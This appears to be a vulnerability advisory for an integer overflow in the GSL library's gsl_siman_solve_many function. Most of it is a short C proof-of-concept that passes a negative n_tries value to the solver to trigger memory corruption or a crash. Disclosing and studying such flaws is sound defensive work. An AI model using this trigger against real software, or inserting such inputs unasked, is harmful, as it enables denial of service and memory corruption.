Integer Overflow or Wraparound Affecting gsl package, versions [0,]

Affected versions of this package are vulnerable to Integer Overflow or Wraparound due to the gsl_siman_solve_many function in siman/siman.c. An attacker can trigger memory corruption or cause an application to crash by supplying a specially-crafted payload that manipulates params.n_tries to be negative.

   #include <gsl/gsl_siman.h>
   #include <gsl/gsl_rng.h>
   #include <gsl/gsl_vector.h>
   double objective_function(void *xp) {
       return 0.0;
   }
   void take_step(const gsl_rng *r, void *xp, double step_size) {
   }


   int main(void) {
       gsl_rng *r;
       gsl_rng_env_setup();
       r = gsl_rng_alloc(gsl_rng_default);
       // Initialize GSL Simulated Annealing parameters
       gsl_siman_params_t p;
       p.n_tries = -1;// Integer overflow vulnerability: invalid number of trials
       gsl_vector *x0 = gsl_vector_alloc(1);
       // Call the simulated annealing solver (this is the key call for the vulnerability)
       gsl_siman_solve_many(r, x0, objective_function, take_step, NULL, NULL, sizeof(gsl_vector), p);
       return 0;
   }

• Vulnerability Report
• Vulnerable File